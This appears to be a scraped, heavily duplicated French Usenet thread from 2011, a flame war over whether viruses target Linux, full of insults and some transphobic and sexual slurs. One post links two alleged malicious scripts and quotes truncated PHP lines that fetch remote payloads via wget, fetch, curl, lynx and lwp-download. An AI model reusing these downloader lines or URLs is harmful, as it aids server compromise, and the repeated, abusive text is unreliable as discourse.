NiKo a utilisé son clavier pour écrire :1) Les développeurs de virus sont au moins aussi aveugles que toi, en ne
se rendant même pas compte qu'il y a beaucoup plus de Linux sur cette
planète que de Windows.
ha oué putiinnnnn même les devellopeurs de virus sont con !!!!
la vachhheeeee qu'est que tééé intelligennnnnnntttttt !!
2) Soit il ne serait pas si simple de développer un virus pour linux qui
soit aussi automatisé que ce que l'on trouve sous Windows, et de ce
fait, passer du temps à développer son virus pour ne toucher au final
qu'un faible pourcentage des Linux installés n'est pas rentable.
mouef !
ou soit les devellopeur de virus ne sont pas con au point de couper la
branche sur laquelle ils sont assis !!
ptin mais il est con, il est con...
il est con...
...
NiKo a utilisé son clavier pour écrire :
1) Les développeurs de virus sont au moins aussi aveugles que toi, en ne
se rendant même pas compte qu'il y a beaucoup plus de Linux sur cette
planète que de Windows.
ha oué putiinnnnn même les devellopeurs de virus sont con !!!!
la vachhheeeee qu'est que tééé intelligennnnnnntttttt !!
2) Soit il ne serait pas si simple de développer un virus pour linux qui
soit aussi automatisé que ce que l'on trouve sous Windows, et de ce
fait, passer du temps à développer son virus pour ne toucher au final
qu'un faible pourcentage des Linux installés n'est pas rentable.
mouef !
ou soit les devellopeur de virus ne sont pas con au point de couper la
branche sur laquelle ils sont assis !!
ptin mais il est con, il est con...
il est con...
...
NiKo a utilisé son clavier pour écrire :1) Les développeurs de virus sont au moins aussi aveugles que toi, en ne
se rendant même pas compte qu'il y a beaucoup plus de Linux sur cette
planète que de Windows.
ha oué putiinnnnn même les devellopeurs de virus sont con !!!!
la vachhheeeee qu'est que tééé intelligennnnnnntttttt !!
2) Soit il ne serait pas si simple de développer un virus pour linux qui
soit aussi automatisé que ce que l'on trouve sous Windows, et de ce
fait, passer du temps à développer son virus pour ne toucher au final
qu'un faible pourcentage des Linux installés n'est pas rentable.
mouef !
ou soit les devellopeur de virus ne sont pas con au point de couper la
branche sur laquelle ils sont assis !!
ptin mais il est con, il est con...
il est con...
...
Le 30/06/2011 14:13, *.-pipolin-.* a écrit :NiKo a utilisé son clavier pour écrire :1) Les développeurs de virus sont au moins aussi aveugles que toi, en ne
se rendant même pas compte qu'il y a beaucoup plus de Linux sur cette
planète que de Windows.
ha oué putiinnnnn même les devellopeurs de virus sont con !!!!
la vachhheeeee qu'est que tééé intelligennnnnnntttttt !!
Je n'ai jamais dit ça, mais je ne vais pas te demander de 'comprendre'
ce que tu lis, je voudrais pas que tu te fasses une entorse du neurone.
2) Soit il ne serait pas si simple de développer un virus pour linux qui
soit aussi automatisé que ce que l'on trouve sous Windows, et de ce
fait, passer du temps à développer son virus pour ne toucher au final
qu'un faible pourcentage des Linux installés n'est pas rentable.
mouef !
ou soit les devellopeur de virus ne sont pas con au point de couper la
branche sur laquelle ils sont assis !!
ptin mais il est con, il est con...
il est con...
...
Parce qu'il est plus simple de développer un virus Windows sous Linux ?
Parce que les développeurs de virus Windows sont tous sous Linux ?
Tu pourrais développer STP ?
Le 30/06/2011 14:13, *.-pipolin-.* a écrit :
NiKo a utilisé son clavier pour écrire :
1) Les développeurs de virus sont au moins aussi aveugles que toi, en ne
se rendant même pas compte qu'il y a beaucoup plus de Linux sur cette
planète que de Windows.
ha oué putiinnnnn même les devellopeurs de virus sont con !!!!
la vachhheeeee qu'est que tééé intelligennnnnnntttttt !!
Je n'ai jamais dit ça, mais je ne vais pas te demander de 'comprendre'
ce que tu lis, je voudrais pas que tu te fasses une entorse du neurone.
2) Soit il ne serait pas si simple de développer un virus pour linux qui
soit aussi automatisé que ce que l'on trouve sous Windows, et de ce
fait, passer du temps à développer son virus pour ne toucher au final
qu'un faible pourcentage des Linux installés n'est pas rentable.
mouef !
ou soit les devellopeur de virus ne sont pas con au point de couper la
branche sur laquelle ils sont assis !!
ptin mais il est con, il est con...
il est con...
...
Parce qu'il est plus simple de développer un virus Windows sous Linux ?
Parce que les développeurs de virus Windows sont tous sous Linux ?
Tu pourrais développer STP ?
Le 30/06/2011 14:13, *.-pipolin-.* a écrit :NiKo a utilisé son clavier pour écrire :1) Les développeurs de virus sont au moins aussi aveugles que toi, en ne
se rendant même pas compte qu'il y a beaucoup plus de Linux sur cette
planète que de Windows.
ha oué putiinnnnn même les devellopeurs de virus sont con !!!!
la vachhheeeee qu'est que tééé intelligennnnnnntttttt !!
Je n'ai jamais dit ça, mais je ne vais pas te demander de 'comprendre'
ce que tu lis, je voudrais pas que tu te fasses une entorse du neurone.
2) Soit il ne serait pas si simple de développer un virus pour linux qui
soit aussi automatisé que ce que l'on trouve sous Windows, et de ce
fait, passer du temps à développer son virus pour ne toucher au final
qu'un faible pourcentage des Linux installés n'est pas rentable.
mouef !
ou soit les devellopeur de virus ne sont pas con au point de couper la
branche sur laquelle ils sont assis !!
ptin mais il est con, il est con...
il est con...
...
Parce qu'il est plus simple de développer un virus Windows sous Linux ?
Parce que les développeurs de virus Windows sont tous sous Linux ?
Tu pourrais développer STP ?
leeed avait soumis l'idée :Le 30-06-2011, Hugolino a écrit :Le 30-06-2011, P4nd1-P4nd4 <P4nd1-P4nd4@> a écrit :Helena a formulé ce jeudi :On 2011-06-29, P4nd1-P4nd4 <P4nd1-P4nd4@> wrote:
AH bon, tu crois que c'est une fille ?
Ca me rappelle "une" qui zonait ici voici quelque temps mais qui a
disparu
Elle a jamais voulu me donner sa photo ;>))
Y'a un mec ici qui se prends pour une gonzesse, genre delarat ou
l'autre sodomiste ;>))
Et oui, en fait je suis un gros poilu buveur de bière qui se paluche
en vivant par procuration son fantasme de transexualité.
AH, ca me semble plus près dela réalité ;>>)
Tu ne devrais pas utiliser de mots dont tu ne comprends pas le sens.
La réalité n'est jamais qu'une construction de la pensée, c'est à dire
la représentation que tu es capable d'élaborer.
Or tu es incapable de la moindre élaboration : tu patauges au niveau
d'un Tougard, c'est tout juste si ta bétise crasse arrive à nous faire
rire, alors ton avis sur Héléna ne peut que nous confirmer ce qu'on
pensait déjà... de toi, et non d'elle !!
On pourrait aussi lui citer la caverne de Platon, mais je doute qu'il
sache de quel concept il s'agit.
Platon ?
une belle salope celui la !
leeed avait soumis l'idée :
Le 30-06-2011, Hugolino <hugolino@free.fr> a écrit :
Le 30-06-2011, P4nd1-P4nd4 <P4nd1-P4nd4@> a écrit :
Helena a formulé ce jeudi :
On 2011-06-29, P4nd1-P4nd4 <P4nd1-P4nd4@> wrote:
AH bon, tu crois que c'est une fille ?
Ca me rappelle "une" qui zonait ici voici quelque temps mais qui a
disparu
Elle a jamais voulu me donner sa photo ;>))
Y'a un mec ici qui se prends pour une gonzesse, genre delarat ou
l'autre sodomiste ;>))
Et oui, en fait je suis un gros poilu buveur de bière qui se paluche
en vivant par procuration son fantasme de transexualité.
AH, ca me semble plus près dela réalité ;>>)
Tu ne devrais pas utiliser de mots dont tu ne comprends pas le sens.
La réalité n'est jamais qu'une construction de la pensée, c'est à dire
la représentation que tu es capable d'élaborer.
Or tu es incapable de la moindre élaboration : tu patauges au niveau
d'un Tougard, c'est tout juste si ta bétise crasse arrive à nous faire
rire, alors ton avis sur Héléna ne peut que nous confirmer ce qu'on
pensait déjà... de toi, et non d'elle !!
On pourrait aussi lui citer la caverne de Platon, mais je doute qu'il
sache de quel concept il s'agit.
Platon ?
une belle salope celui la !
leeed avait soumis l'idée :Le 30-06-2011, Hugolino a écrit :Le 30-06-2011, P4nd1-P4nd4 <P4nd1-P4nd4@> a écrit :Helena a formulé ce jeudi :On 2011-06-29, P4nd1-P4nd4 <P4nd1-P4nd4@> wrote:
AH bon, tu crois que c'est une fille ?
Ca me rappelle "une" qui zonait ici voici quelque temps mais qui a
disparu
Elle a jamais voulu me donner sa photo ;>))
Y'a un mec ici qui se prends pour une gonzesse, genre delarat ou
l'autre sodomiste ;>))
Et oui, en fait je suis un gros poilu buveur de bière qui se paluche
en vivant par procuration son fantasme de transexualité.
AH, ca me semble plus près dela réalité ;>>)
Tu ne devrais pas utiliser de mots dont tu ne comprends pas le sens.
La réalité n'est jamais qu'une construction de la pensée, c'est à dire
la représentation que tu es capable d'élaborer.
Or tu es incapable de la moindre élaboration : tu patauges au niveau
d'un Tougard, c'est tout juste si ta bétise crasse arrive à nous faire
rire, alors ton avis sur Héléna ne peut que nous confirmer ce qu'on
pensait déjà... de toi, et non d'elle !!
On pourrait aussi lui citer la caverne de Platon, mais je doute qu'il
sache de quel concept il s'agit.
Platon ?
une belle salope celui la !
Il faudra qu'il rien du tout. Toutes les distrib ont un Perl, un bash ou
que sais-je d'autres languages interprétés qui sont largement assez
puissant pour te faire un virus ultra-portable, au dela de Linux
d'ailleurs.
Oui oui, un virus en Perl dui pèse 40 Mo pour pouvoir gérer toute la
diversité du monde Linux. Ceci dit, aurais tu un lien sur un tel virus ?
Et combien de Linux inféctés sur l'Internet, sans aucun doute BEAUCOUP
de machines sous Linux.
Méoui, méoui ...
Sources, preuves, liens sur des virus Linux qui se propagent à ce jour ...
Il faudra qu'il rien du tout. Toutes les distrib ont un Perl, un bash ou
que sais-je d'autres languages interprétés qui sont largement assez
puissant pour te faire un virus ultra-portable, au dela de Linux
d'ailleurs.
Oui oui, un virus en Perl dui pèse 40 Mo pour pouvoir gérer toute la
diversité du monde Linux. Ceci dit, aurais tu un lien sur un tel virus ?
Et combien de Linux inféctés sur l'Internet, sans aucun doute BEAUCOUP
de machines sous Linux.
Méoui, méoui ...
Sources, preuves, liens sur des virus Linux qui se propagent à ce jour ...
Il faudra qu'il rien du tout. Toutes les distrib ont un Perl, un bash ou
que sais-je d'autres languages interprétés qui sont largement assez
puissant pour te faire un virus ultra-portable, au dela de Linux
d'ailleurs.
Oui oui, un virus en Perl dui pèse 40 Mo pour pouvoir gérer toute la
diversité du monde Linux. Ceci dit, aurais tu un lien sur un tel virus ?
Et combien de Linux inféctés sur l'Internet, sans aucun doute BEAUCOUP
de machines sous Linux.
Méoui, méoui ...
Sources, preuves, liens sur des virus Linux qui se propagent à ce jour ...
NiKo a émis l'idée suivante :Le 30/06/2011 14:13, *.-pipolin-.* a écrit :NiKo a utilisé son clavier pour écrire :1) Les développeurs de virus sont au moins aussi aveugles que toi,
en ne
se rendant même pas compte qu'il y a beaucoup plus de Linux sur cette
planète que de Windows.
ha oué putiinnnnn même les devellopeurs de virus sont con !!!!
la vachhheeeee qu'est que tééé intelligennnnnnntttttt !!
Je n'ai jamais dit ça, mais je ne vais pas te demander de 'comprendre'
ce que tu lis, je voudrais pas que tu te fasses une entorse du neurone.
t'inquiette pas pour mon neuronne va, même en marchant qu'a moitier, il
me procure une nette avance sur toi !
2) Soit il ne serait pas si simple de développer un virus pour linux
qui
soit aussi automatisé que ce que l'on trouve sous Windows, et de ce
fait, passer du temps à développer son virus pour ne toucher au final
qu'un faible pourcentage des Linux installés n'est pas rentable.
mouef !
ou soit les devellopeur de virus ne sont pas con au point de couper la
branche sur laquelle ils sont assis !!
ptin mais il est con, il est con...
il est con...
...
Parce qu'il est plus simple de développer un virus Windows sous Linux ?
Parce que les développeurs de virus Windows sont tous sous Linux ?
Tu pourrais développer STP ?
ce n'est pas une question de simplicité, c'est une question de bon sens,
chose qui te fait totalement defaut !
le but d'un virus c'est d'infecter les PC des utilisateurs, alors pour
que cela se fasse, il est préférable de pas s'attaquer à la structure
qui permet d'accéder a sa cible !
NiKo a émis l'idée suivante :
Le 30/06/2011 14:13, *.-pipolin-.* a écrit :
NiKo a utilisé son clavier pour écrire :
1) Les développeurs de virus sont au moins aussi aveugles que toi,
en ne
se rendant même pas compte qu'il y a beaucoup plus de Linux sur cette
planète que de Windows.
ha oué putiinnnnn même les devellopeurs de virus sont con !!!!
la vachhheeeee qu'est que tééé intelligennnnnnntttttt !!
Je n'ai jamais dit ça, mais je ne vais pas te demander de 'comprendre'
ce que tu lis, je voudrais pas que tu te fasses une entorse du neurone.
t'inquiette pas pour mon neuronne va, même en marchant qu'a moitier, il
me procure une nette avance sur toi !
2) Soit il ne serait pas si simple de développer un virus pour linux
qui
soit aussi automatisé que ce que l'on trouve sous Windows, et de ce
fait, passer du temps à développer son virus pour ne toucher au final
qu'un faible pourcentage des Linux installés n'est pas rentable.
mouef !
ou soit les devellopeur de virus ne sont pas con au point de couper la
branche sur laquelle ils sont assis !!
ptin mais il est con, il est con...
il est con...
...
Parce qu'il est plus simple de développer un virus Windows sous Linux ?
Parce que les développeurs de virus Windows sont tous sous Linux ?
Tu pourrais développer STP ?
ce n'est pas une question de simplicité, c'est une question de bon sens,
chose qui te fait totalement defaut !
le but d'un virus c'est d'infecter les PC des utilisateurs, alors pour
que cela se fasse, il est préférable de pas s'attaquer à la structure
qui permet d'accéder a sa cible !
NiKo a émis l'idée suivante :Le 30/06/2011 14:13, *.-pipolin-.* a écrit :NiKo a utilisé son clavier pour écrire :1) Les développeurs de virus sont au moins aussi aveugles que toi,
en ne
se rendant même pas compte qu'il y a beaucoup plus de Linux sur cette
planète que de Windows.
ha oué putiinnnnn même les devellopeurs de virus sont con !!!!
la vachhheeeee qu'est que tééé intelligennnnnnntttttt !!
Je n'ai jamais dit ça, mais je ne vais pas te demander de 'comprendre'
ce que tu lis, je voudrais pas que tu te fasses une entorse du neurone.
t'inquiette pas pour mon neuronne va, même en marchant qu'a moitier, il
me procure une nette avance sur toi !
2) Soit il ne serait pas si simple de développer un virus pour linux
qui
soit aussi automatisé que ce que l'on trouve sous Windows, et de ce
fait, passer du temps à développer son virus pour ne toucher au final
qu'un faible pourcentage des Linux installés n'est pas rentable.
mouef !
ou soit les devellopeur de virus ne sont pas con au point de couper la
branche sur laquelle ils sont assis !!
ptin mais il est con, il est con...
il est con...
...
Parce qu'il est plus simple de développer un virus Windows sous Linux ?
Parce que les développeurs de virus Windows sont tous sous Linux ?
Tu pourrais développer STP ?
ce n'est pas une question de simplicité, c'est une question de bon sens,
chose qui te fait totalement defaut !
le but d'un virus c'est d'infecter les PC des utilisateurs, alors pour
que cela se fasse, il est préférable de pas s'attaquer à la structure
qui permet d'accéder a sa cible !
Le 30-06-2011, NiKo a écrit :Il faudra qu'il rien du tout. Toutes les distrib ont un Perl, un bash ou
que sais-je d'autres languages interprétés qui sont largement assez
puissant pour te faire un virus ultra-portable, au dela de Linux
d'ailleurs.
Oui oui, un virus en Perl dui pèse 40 Mo pour pouvoir gérer toute la
diversité du monde Linux. Ceci dit, aurais tu un lien sur un tel virus ?
Genre ça? Tout chaud, je ne sais pas s'il va vivre longtemps:
http://nanaresidence.com/Ckrid1.txt
Ou ça:
http://www.m-crystal.kz/backup/sb.txt
Du bô, du chô, du virus sous linux! Dingue!
Au cas ou ces liens tombent, voici les 40Mo nécessaires pour gérer
toute la diversité du monde Linux (je snippe un peu les lignes):
exec("wget ".$url[2]." -O
exec("fetch -O ".$sfe[2].
exec("cUrl -O ".$sfe[2]." <-- WTF??
exec("lynx -dump ".$url[2
exec("GET ".$url[2].">".$
exec("lwp-download ".$url
Et combien de Linux inféctés sur l'Internet, sans aucun doute BEAUCOUP
de machines sous Linux.
Méoui, méoui ...
Des machines moisies comme ça, je t'en sors à la pelle. J'ai même écrit un
script pour m'en trouver automatiquement.Sources, preuves, liens sur des virus Linux qui se propagent à ce jour ...
Le code fourni plus haut te donne (une partie) de la solution.
Le 30-06-2011, NiKo <NiKo@nomail.svp> a écrit :
Il faudra qu'il rien du tout. Toutes les distrib ont un Perl, un bash ou
que sais-je d'autres languages interprétés qui sont largement assez
puissant pour te faire un virus ultra-portable, au dela de Linux
d'ailleurs.
Oui oui, un virus en Perl dui pèse 40 Mo pour pouvoir gérer toute la
diversité du monde Linux. Ceci dit, aurais tu un lien sur un tel virus ?
Genre ça? Tout chaud, je ne sais pas s'il va vivre longtemps:
http://nanaresidence.com/Ckrid1.txt
Ou ça:
http://www.m-crystal.kz/backup/sb.txt
Du bô, du chô, du virus sous linux! Dingue!
Au cas ou ces liens tombent, voici les 40Mo nécessaires pour gérer
toute la diversité du monde Linux (je snippe un peu les lignes):
exec("wget ".$url[2]." -O
exec("fetch -O ".$sfe[2].
exec("cUrl -O ".$sfe[2]." <-- WTF??
exec("lynx -dump ".$url[2
exec("GET ".$url[2].">".$
exec("lwp-download ".$url
Et combien de Linux inféctés sur l'Internet, sans aucun doute BEAUCOUP
de machines sous Linux.
Méoui, méoui ...
Des machines moisies comme ça, je t'en sors à la pelle. J'ai même écrit un
script pour m'en trouver automatiquement.
Sources, preuves, liens sur des virus Linux qui se propagent à ce jour ...
Le code fourni plus haut te donne (une partie) de la solution.
Le 30-06-2011, NiKo a écrit :Il faudra qu'il rien du tout. Toutes les distrib ont un Perl, un bash ou
que sais-je d'autres languages interprétés qui sont largement assez
puissant pour te faire un virus ultra-portable, au dela de Linux
d'ailleurs.
Oui oui, un virus en Perl dui pèse 40 Mo pour pouvoir gérer toute la
diversité du monde Linux. Ceci dit, aurais tu un lien sur un tel virus ?
Genre ça? Tout chaud, je ne sais pas s'il va vivre longtemps:
http://nanaresidence.com/Ckrid1.txt
Ou ça:
http://www.m-crystal.kz/backup/sb.txt
Du bô, du chô, du virus sous linux! Dingue!
Au cas ou ces liens tombent, voici les 40Mo nécessaires pour gérer
toute la diversité du monde Linux (je snippe un peu les lignes):
exec("wget ".$url[2]." -O
exec("fetch -O ".$sfe[2].
exec("cUrl -O ".$sfe[2]." <-- WTF??
exec("lynx -dump ".$url[2
exec("GET ".$url[2].">".$
exec("lwp-download ".$url
Et combien de Linux inféctés sur l'Internet, sans aucun doute BEAUCOUP
de machines sous Linux.
Méoui, méoui ...
Des machines moisies comme ça, je t'en sors à la pelle. J'ai même écrit un
script pour m'en trouver automatiquement.Sources, preuves, liens sur des virus Linux qui se propagent à ce jour ...
Le code fourni plus haut te donne (une partie) de la solution.
t'inquiette pas va, je jour ou il y auras un intérêt pour les fummiers
qui devellopent les virus a s'attaquer à linux, t'as pas fini d'en chier
avec ton OS...
t'inquiette pas va, je jour ou il y auras un intérêt pour les fummiers
qui devellopent les virus a s'attaquer à linux, t'as pas fini d'en chier
avec ton OS...
t'inquiette pas va, je jour ou il y auras un intérêt pour les fummiers
qui devellopent les virus a s'attaquer à linux, t'as pas fini d'en chier
avec ton OS...
exec("lynx -dump ".$url[2
Commande « lunx » non trouvée
Pas très au point ton virus.
Le code fourni plus haut te donne (une partie) de la solution.
Ben écoute, je viens de télécharger les deux liens que tu donnes, et
pourtant, point de virus dans ma machine.
J'ai raté quelque chose ?
exec("lynx -dump ".$url[2
Commande « lunx » non trouvée
Pas très au point ton virus.
Le code fourni plus haut te donne (une partie) de la solution.
Ben écoute, je viens de télécharger les deux liens que tu donnes, et
pourtant, point de virus dans ma machine.
J'ai raté quelque chose ?
exec("lynx -dump ".$url[2
Commande « lunx » non trouvée
Pas très au point ton virus.
Le code fourni plus haut te donne (une partie) de la solution.
Ben écoute, je viens de télécharger les deux liens que tu donnes, et
pourtant, point de virus dans ma machine.
J'ai raté quelque chose ?
Le 30/06/2011 14:42, *.-pipolin-.* a écrit :NiKo a émis l'idée suivante :Le 30/06/2011 14:13, *.-pipolin-.* a écrit :NiKo a utilisé son clavier pour écrire :1) Les développeurs de virus sont au moins aussi aveugles que toi,
en ne
se rendant même pas compte qu'il y a beaucoup plus de Linux sur cette
planète que de Windows.
ha oué putiinnnnn même les devellopeurs de virus sont con !!!!
la vachhheeeee qu'est que tééé intelligennnnnnntttttt !!
Je n'ai jamais dit ça, mais je ne vais pas te demander de 'comprendre'
ce que tu lis, je voudrais pas que tu te fasses une entorse du neurone.
t'inquiette pas pour mon neuronne va, même en marchant qu'a moitier, il
me procure une nette avance sur toi !
Alors maintenant, toi dont le demi neurone résonne, explique moi où j'ai
dit que les développeurs de virus étaient cons ?
Seulement, comme à ton habitude, tu es à cours d'argument, alors tu
préfères insulter. Tu n'as rien à dire mais tu ramène quand même ta fraise.
2) Soit il ne serait pas si simple de développer un virus pour linux
qui
soit aussi automatisé que ce que l'on trouve sous Windows, et de ce
fait, passer du temps à développer son virus pour ne toucher au final
qu'un faible pourcentage des Linux installés n'est pas rentable.
mouef !
ou soit les devellopeur de virus ne sont pas con au point de couper la
branche sur laquelle ils sont assis !!
ptin mais il est con, il est con...
il est con...
...
Parce qu'il est plus simple de développer un virus Windows sous Linux ?
Parce que les développeurs de virus Windows sont tous sous Linux ?
Tu pourrais développer STP ?
ce n'est pas une question de simplicité, c'est une question de bon sens,
chose qui te fait totalement defaut !
Justement, puisque ça me fait défaut, tu pourrais développer STP ? A
moins que tu n'aies encore pas d'arguments, et que tu n'aies encore
ouvert ta grande gueule de roquet ?le but d'un virus c'est d'infecter les PC des utilisateurs, alors pour
que cela se fasse, il est préférable de pas s'attaquer à la structure
qui permet d'accéder a sa cible !
Donc, malgré la supériorité de Windows en nombre d'utilisateurs, tu
prétends qu'il y a plus de probabilités de trouver des développeurs de
virus sous Linux que sous Windows ?
Et encore selon toi, il serait plus
efficace d'infiltrer le client que le serveur ...
T'ain, sont vraiment cons ces braqueurs ! Ils se font chier à attaquer
des casinos alors qu'il serait bien plus simple et efficace pour eux
d'agresser 10.000 petites vieilles dans la rue
Le 30/06/2011 14:42, *.-pipolin-.* a écrit :
NiKo a émis l'idée suivante :
Le 30/06/2011 14:13, *.-pipolin-.* a écrit :
NiKo a utilisé son clavier pour écrire :
1) Les développeurs de virus sont au moins aussi aveugles que toi,
en ne
se rendant même pas compte qu'il y a beaucoup plus de Linux sur cette
planète que de Windows.
ha oué putiinnnnn même les devellopeurs de virus sont con !!!!
la vachhheeeee qu'est que tééé intelligennnnnnntttttt !!
Je n'ai jamais dit ça, mais je ne vais pas te demander de 'comprendre'
ce que tu lis, je voudrais pas que tu te fasses une entorse du neurone.
t'inquiette pas pour mon neuronne va, même en marchant qu'a moitier, il
me procure une nette avance sur toi !
Alors maintenant, toi dont le demi neurone résonne, explique moi où j'ai
dit que les développeurs de virus étaient cons ?
Seulement, comme à ton habitude, tu es à cours d'argument, alors tu
préfères insulter. Tu n'as rien à dire mais tu ramène quand même ta fraise.
2) Soit il ne serait pas si simple de développer un virus pour linux
qui
soit aussi automatisé que ce que l'on trouve sous Windows, et de ce
fait, passer du temps à développer son virus pour ne toucher au final
qu'un faible pourcentage des Linux installés n'est pas rentable.
mouef !
ou soit les devellopeur de virus ne sont pas con au point de couper la
branche sur laquelle ils sont assis !!
ptin mais il est con, il est con...
il est con...
...
Parce qu'il est plus simple de développer un virus Windows sous Linux ?
Parce que les développeurs de virus Windows sont tous sous Linux ?
Tu pourrais développer STP ?
ce n'est pas une question de simplicité, c'est une question de bon sens,
chose qui te fait totalement defaut !
Justement, puisque ça me fait défaut, tu pourrais développer STP ? A
moins que tu n'aies encore pas d'arguments, et que tu n'aies encore
ouvert ta grande gueule de roquet ?
le but d'un virus c'est d'infecter les PC des utilisateurs, alors pour
que cela se fasse, il est préférable de pas s'attaquer à la structure
qui permet d'accéder a sa cible !
Donc, malgré la supériorité de Windows en nombre d'utilisateurs, tu
prétends qu'il y a plus de probabilités de trouver des développeurs de
virus sous Linux que sous Windows ?
Et encore selon toi, il serait plus
efficace d'infiltrer le client que le serveur ...
T'ain, sont vraiment cons ces braqueurs ! Ils se font chier à attaquer
des casinos alors qu'il serait bien plus simple et efficace pour eux
d'agresser 10.000 petites vieilles dans la rue
Le 30/06/2011 14:42, *.-pipolin-.* a écrit :NiKo a émis l'idée suivante :Le 30/06/2011 14:13, *.-pipolin-.* a écrit :NiKo a utilisé son clavier pour écrire :1) Les développeurs de virus sont au moins aussi aveugles que toi,
en ne
se rendant même pas compte qu'il y a beaucoup plus de Linux sur cette
planète que de Windows.
ha oué putiinnnnn même les devellopeurs de virus sont con !!!!
la vachhheeeee qu'est que tééé intelligennnnnnntttttt !!
Je n'ai jamais dit ça, mais je ne vais pas te demander de 'comprendre'
ce que tu lis, je voudrais pas que tu te fasses une entorse du neurone.
t'inquiette pas pour mon neuronne va, même en marchant qu'a moitier, il
me procure une nette avance sur toi !
Alors maintenant, toi dont le demi neurone résonne, explique moi où j'ai
dit que les développeurs de virus étaient cons ?
Seulement, comme à ton habitude, tu es à cours d'argument, alors tu
préfères insulter. Tu n'as rien à dire mais tu ramène quand même ta fraise.
2) Soit il ne serait pas si simple de développer un virus pour linux
qui
soit aussi automatisé que ce que l'on trouve sous Windows, et de ce
fait, passer du temps à développer son virus pour ne toucher au final
qu'un faible pourcentage des Linux installés n'est pas rentable.
mouef !
ou soit les devellopeur de virus ne sont pas con au point de couper la
branche sur laquelle ils sont assis !!
ptin mais il est con, il est con...
il est con...
...
Parce qu'il est plus simple de développer un virus Windows sous Linux ?
Parce que les développeurs de virus Windows sont tous sous Linux ?
Tu pourrais développer STP ?
ce n'est pas une question de simplicité, c'est une question de bon sens,
chose qui te fait totalement defaut !
Justement, puisque ça me fait défaut, tu pourrais développer STP ? A
moins que tu n'aies encore pas d'arguments, et que tu n'aies encore
ouvert ta grande gueule de roquet ?le but d'un virus c'est d'infecter les PC des utilisateurs, alors pour
que cela se fasse, il est préférable de pas s'attaquer à la structure
qui permet d'accéder a sa cible !
Donc, malgré la supériorité de Windows en nombre d'utilisateurs, tu
prétends qu'il y a plus de probabilités de trouver des développeurs de
virus sous Linux que sous Windows ?
Et encore selon toi, il serait plus
efficace d'infiltrer le client que le serveur ...
T'ain, sont vraiment cons ces braqueurs ! Ils se font chier à attaquer
des casinos alors qu'il serait bien plus simple et efficace pour eux
d'agresser 10.000 petites vieilles dans la rue
On Thu, 30 Jun 2011 12:15:23 +0200, *.-pipolin-.* wrote:t'inquiette pas va, je jour ou il y auras un intérêt pour les fummiers
qui devellopent les virus a s'attaquer à linux, t'as pas fini d'en chier
avec ton OS...
Ben.. ça n'interesse pas les fumiers les grosses babasses de FB et Google?
On Thu, 30 Jun 2011 12:15:23 +0200, *.-pipolin-.* wrote:
t'inquiette pas va, je jour ou il y auras un intérêt pour les fummiers
qui devellopent les virus a s'attaquer à linux, t'as pas fini d'en chier
avec ton OS...
Ben.. ça n'interesse pas les fumiers les grosses babasses de FB et Google?
On Thu, 30 Jun 2011 12:15:23 +0200, *.-pipolin-.* wrote:t'inquiette pas va, je jour ou il y auras un intérêt pour les fummiers
qui devellopent les virus a s'attaquer à linux, t'as pas fini d'en chier
avec ton OS...
Ben.. ça n'interesse pas les fumiers les grosses babasses de FB et Google?
